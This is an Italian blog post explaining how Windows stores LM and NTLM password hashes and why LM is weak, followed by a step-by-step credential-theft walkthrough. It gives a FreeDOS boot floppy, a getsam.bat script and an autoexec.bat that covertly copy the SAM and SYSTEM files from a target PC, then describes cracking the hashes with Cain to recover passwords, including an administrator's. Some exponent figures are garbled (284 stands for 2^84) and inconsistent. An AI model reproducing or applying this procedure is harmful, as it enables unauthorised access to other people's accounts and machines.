LM / NTLM Passwords

Dicembre 20, 2006

windows-logon.jpg

Le password degli utenti, nei sistemi NT, sono memorizzati nel file “%systemroot%\system32\config\SAM“, che contine informazioni riguardo:

  • L’username
  • L’user ID associato
  • La password
  • Eventuali commenti

La password è memorizzata sotto forma di hash in due differenti formati: LM e NTLM.

L’hash LM (LAN Manager hash) viene mantenuto solo per compatibilità con i precedenti sistemi ed è particolarmente insicuro a causa del procedimento con cui viene calcolato:

  1. La password dell’utente viene convertita in MAIUSCOLO.
  2. La password viene troncata o riempita di byte nulli per raggiungere esattamente 14 caratteri.
  3. La password viene quindi divisa in due segmenti da 7 caratteri l’uno.
  4. Ognuno di questi segmenti viene usato per criptare la stringa “KGS!@#$%“.
  5. I risultati ottenuti (ognuno di 8 byte) vengono concatenati per formare l’hash LM di 16 bytes.

Con 14 caratteri si possono formare 284 diverse combinazioni, ma dato che la password è divisa in due segmenti queste scendono a 242+ 242 .
Inoltre la password viene convertita in maiuscolo riducendo le combinazioni possibili per ogni segmento a 236.

284 = 19342813113834066795298816
243 = 8796093022208
237 = 137438953472

Queste 137438953472 combinazioni possono essere facilmente provate in poche ore con un attacco di tipo bruteforce.
Inoltre se la password ha meno di 8 caratteri, il secondo segmento sarà composto da 8 byte nulli e darà origine sempre allo stesso hash rendendo possibile sapere immediatamente se una password è composta da più o meno di 7 caratteri.

Come ho detto prima, gli hash LM sono stati superati dagli hash NTLM ed è possibile disabilitarli settando la chiave "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash" a 1.

Il file SAM è protetto dal processo LSASS, infatti i vari tool disponibili in rete richiedono i privilegi di amministratore per poter agire su questo processo… Ma se stiamo cercando la password di amministratore??

Inoltre, SYSKEY, un utility introdotta da MS, provvede a criptare ulteriormente gli hash (usando una chiave memorizzata nel registro) e perciò può succedere che i dati ottenuti con vari tool non siano veritieri.

Ci sono vari modi per ottenere gli hash delle password, ad esempio usando delle distro live di linux, ma non sempre si ha la possibilità di poter smanettare sul pc che ci interessa :P

Una soluzione potrebbe essere quella di copiare il file SAM e il file SYSTEM (dove è memorizzata la SYSKEY) e poi crackarli con calma su un altro pc.

Per fare questo è sufficiente:

  • Un floppy
  • Un OS per rendere avviabile il floppy, ad esempio FreeDOS (ma va bene anche un floppy di avvio di windows)
  • NTFSDOS per accedere alle partizioni NTFS da DOS (va benissimo la versione free).
  • GZip per comprimere i files

Apriamo un prompt dos, andiamo nella cartella dove sono contenuti i file di FreeDOS (“F:\freedos\setup\odin” nel mio caso) e scriviamo:

sys a:

Copiamo il file himem.exe dalla cartella al floppy.
Copiamo i file fdapm.exe e choice.exe nel floppy (non obbligatorio).
Copiamo NTFSDOS e GZIP nel floppy.

Creiamo un file di nome config.sys con le seguenti linee:

DEVICE=A:HIMEM.EXE
DOS=HIGH,UMB
lastdrive=z

Creiamo un batch (getsam.bat) che faccia la copia dei file per noi :)

if not x==%1x goto setdrive
set drive=C
goto check

:setdrive
set drive=%1
goto check

:check
if exist %drive%:/windows/system32/config/sam goto win
if exist %drive%:/winnt/system32/config/sam goto winnt
goto end

:win
set windir=%drive%:/windows
goto docopy

:winnt
set windir=%drive%:/winnt
goto docopy

:docopy
if not x==%2x if not exist %2 mkdir %2
gzip -9 -c %windir%/system32/config/sam > %2/sam.gz
gzip -9 -c %windir%/system32/config/system > %2/system.gz

:end
set drive=
set windir=

Ed eseguiamolo mettendo questo nel file autoexex.bat:

@echo off
choice /C:PS /T:P,10 /N *** Press S to skip AutoExec.bat, wait 10 seconds or press P to process... ***
if ERRORLEVEL 2 GOTO exit

@echo on
ntfsdos
call getsam D files

@echo off
choice /C:HC /T:H,10 /N *** Press C to continue working, wait 10 seconds or press H to halt now... ***
if ERRORLEVEL 2 GOTO exit

@echo on
fdapm POWEROFF

:exit

Questo file fa uso di choice.exe per scegliere se continuare ad eseguire le istruzioni e se arrestare il sistema o meno e di fdapm.exe per il poweroff, modificando le linee relative potete rimuovere questi file dal floppy e risparmiare spazio.

Alla linea

"call getsam D files"

chiamiamo il batch creato prima dicendo di cercare i file in D: (dove viene montata la prima partizione ntfs con NTFSDOS Free), di comprimerli e di copiarli nella cartella files sul floppy. Quindi viene chiamato fdapm.exe per spegnere il PC.

E’ possibile che lo spazio non basti dal momento che il file SYSTEM, seppur compresso può essere troppo grosso per lo spazio rimanente sul floppy. Consiglio quindi di usare un altro floppy con solo GZIP.

Ci siamo… ora basta decriptare la SYSKEY usando uno dei tanti tool (ad esempio con Cain da Tools / Syskey Decoder), ottenere gli hash delle password (sempre con Cain, cliccando col tasto destro sulla scheda Cracker e scegliendo “Add to List”) e crackarli :P .

In circa 6 ore avremo la nostra password :) .